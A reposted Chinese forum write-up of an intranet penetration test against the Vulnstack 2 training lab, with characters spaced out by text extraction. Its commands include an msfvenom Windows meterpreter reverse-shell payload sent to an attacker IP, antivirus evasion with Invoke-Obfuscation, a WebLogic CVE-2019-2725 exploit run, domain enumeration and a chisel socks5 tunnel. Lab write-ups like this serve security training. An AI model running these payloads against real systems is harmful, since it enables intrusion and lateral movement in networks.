搜索

[18537] 2021-03-09_实战｜记一次Vulnstack靶场内网渗透（三）

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-03-09_实战｜记一次Vulnstack靶场内网渗透（三） 实 战   ｜   记 一 次 V u l n s t a c k 靶 场 内 网 渗 透 （ 三 ） W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 3 - 0 9 前 言 前 言 在 上 一 节 《 记 一 次 V u l n s t a c k 靶 场 内 网 渗 透 （ 二 ） 》 中 ， 我 们 简 单 的 对 v u l n s t a c k   4 的 靶 场 环 境 做 了 一 次 测 试 ， 通 过 外 网 初 探 、 信 息 收 集 、 攻 入 内 网 最 终 拿 下 域 控 。 在 本 节 中 ， 我 们 将 对 v u l n s t a c k   2 这 个 靶 场 进 行 渗 透 测 试 。 靶 场 地 址 ： h t t p : / / v u l n s t a c k . q i y u a n x u e t a n g . n e t / v u l n / d e t a i l / 3 / 本 次 靶 场 环 境 主 要 包 括 A c c e s s   T o k e n 利 用 、 W M I 利 用 、 域 漏 洞 利 用 S M B   r e l a y ， E W S   r e l a y ， P T T ( P T C ) ， M S 1 4 - 0 6 8 ， G P P ， S P N 利 用 、 黄 金 票 据 / 白 银 票 据 / S i d   H i s t o r y / M O F 等 攻 防 技 术 。 1 . B y p a s s   U A C 2 . W i n d o w s 系 统 N T L M 获 取 3 . A c c e s s   T o k e n 利 用 （ M S S Q L 利 用 ） 4 . W M I 利 用 5 . 网 页 代 理 ， 二 层 代 理 ， 特 殊 协 议 代 理 6 . 域 内 信 息 收 集 7 . 域 漏 洞 利 用 ： S M B   r e l a y ， E W S   r e l a y ， P T T ( P T C ) ， M S 1 4 - 0 6 8 ， G P P ， S P N 利 用 8 . 域 凭 证 收 集 9 . 后 门 技 术 （ 黄 金 票 据 、 白 银 票 据 、 S i d   H i s t o r y 、 M O F ） 环 境 准 备 环 境 准 备
i m a g e - 2 0 2 1 0 1 1 8 2 3 0 1 2 1 0 1 4 域 控 服 务 器 ： 域 控 服 务 器 ： • 内 网 I P ： 1 0 . 1 0 . 1 0 . 1 0 • 系 统 ： W i n d o w s   S e r v e r   2 0 1 2 （ 6 4 位 ） • 用 户 名 ： d e 1 a y W E B 服 务 器 ： 服 务 器 ： • 模 拟 外 网 I P ： 1 9 2 . 1 6 8 . 1 . 8 • 内 网 I P ： 1 0 . 1 0 . 1 0 . 8 0 • 系 统 ： W i n d o w s   S e r v e r   2 0 0 8 （ 6 4 位 ） • 用 户 名 ： P C 域 内 主 机 ： 域 内 主 机 ： • 内 网 I P ： 1 0 . 1 0 . 1 0 . 2 0 1 • 系 统 ： W i n d o w s   7 （ 3 2 位 ） • 用 户 名 ： 攻 击 者 攻 击 者 V P S ： ： • 模 拟 外 网 I P ： 1 9 2 . 1 6 8 . 1 . 7 • 系 统 ： L i n u x W e b 服 务 器 有 两 个 网 卡 ， 一 个 网 卡 连 接 外 网 ， 对 外 提 供 w e b 服 务 ， 另 一 个 网 卡 连 接 内 网 。 域 成 员 主 机 W i n d o w s   7 和 域 控 制 器 位 于 内 网 ， 域 成 员 主 机 可 以 没 有 公 网 I P 但 能 上 网 ， 域 控 制 器 只 能 与 内 网 连 通 ， 不 能 与 外 网 通 信 。
外 网 渗 透 外 网 渗 透 我 们 已 知 W e b 服 务 器 的 公 网 I P 为 1 9 2 . 1 6 8 . 1 . 8 （ 模 拟 ） ， 所 以 ， 我 们 先 对 其 W e b 服 务 器 进 行 端 口 扫 描 ： i m a g e - 2 0 2 1 0 1 1 9 1 4 3 0 0 0 1 6 9 发 现 目 标 主 机 上 开 放 1 4 3 3 端 口 和 7 0 0 1 端 口 ， 分 别 运 行 着 M s s q l 和 W e b l o g i c 服 务 ， 我 们 先 从 7 0 0 1 端 口 上 的 W e b l o g i c 下 手 。 W e b L o g i c   1 0 . 3 . 6 . 0 访 问 目 标 W e b L o g i c 服 务 器 控 制 台 ： i m a g e - 2 0 2 1 0 1 1 9 1 4 3 8 3 4 4 0 3 n m a p   - T 4   - s C   - s V   1 9 2 . 1 6 8 . 1 . 8
发 现 W e b L o g i c 的 版 本 是 1 0 . 3 . 6 . 0 ， 用 W e b l o g i c 一 键 漏 洞 检 测 工 具 一 把 梭 ， 该 工 具 提 供 W e b L o g i c 一 键 p o c 检 测 ， 收 录 几 乎 全 部 w e b l o g i c 历 史 漏 洞 ： i m a g e - 2 0 2 1 0 1 1 9 1 5 0 0 4 5 5 2 0 存 在 的 漏 洞 还 真 不 少 。 先 试 试 C V E - 2 0 1 9 - 2 7 2 5 ， 我 们 在 m e t a s p l o i t 上 找 到 了 该 漏 洞 的 利 用 模 块     ： e x p l o i t / m u l t i / m i s c / w e b l o g i c _ d e s e r i a l i z e _ a s y n c r e s p o n s e s e r v i c e
i m a g e - 2 0 2 1 0 1 1 9 1 5 4 9 3 9 0 0 2 但 是 该 模 块 所 携 带 的 p a y l o a d 是 针 对 u n i x 环 境 的 ， 在 w i n d o w s 的 环 境 自 然 没 办 法 反 弹 回 m e t e r p r e t e r 。 找 遍 全 网 ， 我 找 到 了 如 下 解 决 方 法 ： 去   e x p l o i t - d b   下 载 这 个 e x p l o i t 脚 本 ， 然 后 攻 击 者 使 用 如 下 命 令 生 成 一 个 p o w e r s h e l l 格 式 的 木 马 ： 用 著 名 的 A P T 3 2 组 织 海 莲 花 常 用 的 一 个 工 具 I n v o k e - O b f u s c a t i o n 对 生 成 的 s h e l l . p s 1 做 一 下 简 单 的 免 杀 。 然 后 将 刚 下 载 的 e x p l o i t 脚 本 中 的 e x p l o i t 变 量 替 换 为 生 成 的 s h e l l . p s 1 脚 本 中 的 内 容 。 然 后 在 m s f c o n s o l e 中 设 置 好 监 听 ： i m a g e - 2 0 2 1 0 1 1 9 1 6 0 0 2 0 2 5 6 然 后 执 行 e x p l o i t 脚 本 ： 执 行 后 ， m s f c o n s o l e 成 功 得 到 目 标 主 机 的 m e t e r p r e t e r ， 并 且 为 管 理 员 权 限 ： m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 . 7   L P O R T = 4 4 4 4   - f   p s h - c m d   >   s h e l l . p s 1 p y t h o n 3   e x p l o i t . p y   h t t p : / / 1 9 2 . 1 6 8 . 1 . 8 : 7 0 0 1 / _ a s y n c / A s y n c R e s p o n s e S e r v i c e H t t p s
i m a g e - 2 0 2 1 0 1 1 9 1 6 0 4 5 3 0 1 5 为 了 方 便 后 面 的 渗 透 ， 我 这 里 也 给 C o b a l t s t r i k e 派 生 了 一 个 s h e l l ： i m a g e - 2 0 2 1 0 1 1 9 1 7 0 1 3 8 1 6 8 内 网 信 息 收 集 内 网 信 息 收 集 拿 到 了 目 标 W e b 服 务 器 的 权 限 后 ， 我 们 开 始 对 目 标 主 机 及 其 所 在 的 网 络 环 境 进 行 信 息 收 集 。 本 机 信 息 收 集 本 机 信 息 收 集 s y s t e m i n f o         / /   查 看 操 作 系 统 信 息 e c h o   % P R O C E S S O R _ A R C H I T E C T U R E %         / /   查 看 系 统 体 系 结 构
i m a g e - 2 0 2 1 0 1 1 9 1 7 1 6 5 6 9 3 5 i p c o n f i g   / a l l                             / /   查 询 本 机 I P 段 ， 所 在 域 等
i m a g e - 2 0 2 1 0 1 1 9 1 7 1 5 4 2 2 8 7 i m a g e - 2 0 2 1 0 1 1 9 1 7 1 9 1 3 8 0 8 综 上 可 知 目 标 W e b 服 务 器 主 机 的 操 作 系 统 为 W i n d o w s   S e r v e r   2 0 0 8 ， 具 有 两 个 网 卡 分 别 连 通 1 9 2 . 1 6 8 . 1 . 1 / 2 4 和 1 0 . 1 0 . 1 0 . 1 / 2 4 两 个 w h o a m i       / /   查 看 当 前 用 户 、 权 限 n e t   u s e r                                                                 / /   查 看 本 地 用 户 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s                       / /   查 看 本 地 管 理 员 组 （ 通 常 包 含 域 用 户 ）
网 段 。 域 内 信 息 收 集 域 内 信 息 收 集 i m a g e - 2 0 2 1 0 1 1 9 1 7 3 5 4 2 3 7 1 i m a g e - 2 0 2 1 0 1 1 9 1 9 2 9 5 2 9 1 4 n e t   c o n f i g   w o r k s t a t i o n           / /   查 看 当 前 计 算 机 名 ， 全 名 ， 用 户 名 ， 系 统 版 本 ， 工 作 站 域 ， 登 陆 的 域 等 n e t   v i e w   / d o m a i n                             / /   查 看 域 n e t   t i m e   / d o m a i n                       / /   主 域 服 务 器 会 同 时 作 为 时 间 服 务 器 n e t   u s e r   / d o m a i n             / /   查 看 域 用 户 n e t   g r o u p   / d o m a i n           / /   查 看 域 内 用 户 组 列 表 n e t   g r o u p   " d o m a i n   c o m p u t e r s "   / d o m a i n             / /   查 看 域 内 的 机 器 n e t   g r o u p   " d o m a i n   c o n t r o l l e r s "   / d o m a i n                     / /   查 看 域 控 制 器 组 n e t   g r o u p   " E n t e r p r i s e   A d m i n s "   / d o m a i n         / /   查 看 域 管 理 员 组
i m a g e - 2 0 2 1 0 1 1 9 1 9 2 8 3 8 7 0 5 从 收 集 的 信 息 可 知 ， 目 标 主 机 所 在 的 网 络 存 在 域 环 境 ， 域 名 为 d e 1 a y . c o m ， 存 在 两 台 域 主 机 W E B 和 P C ， 域 控 制 器 为 D C . d e 1 a y . c o m ， 主 机 名 为 D C ， 域 管 理 员 为 A d m i n i s t r a t o r 。 攻 入 内 网 攻 入 内 网 我 们 先 使 用 s o c k s 代 理 工 具 c h i s e l 在 目 标 主 机 W E B 的 1 0 9 0 端 口 上 搭 建 一 个 s o c k s 5 代 理 服 务 。 在 目 标 主 机 上 传 W i n d o w s 版 的 c h i s e l ， 然 后 执 行 如 下 命 令 启 动 s o c k s 5 代 理 服 务 器 ： i m a g e - 2 0 2 1 0 1 1 9 2 0 0 9 3 5 0 6 9 攻 击 机 执 行 如 下 命 令 启 动 s o c k s 5 客 户 端 ： s t a r t   / b   c h i s e l . e x e   s e r v e r   - p   1 0 9 0   - - s o c k s 5 / /   s t a r t   / b 为 后 台 运 行
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理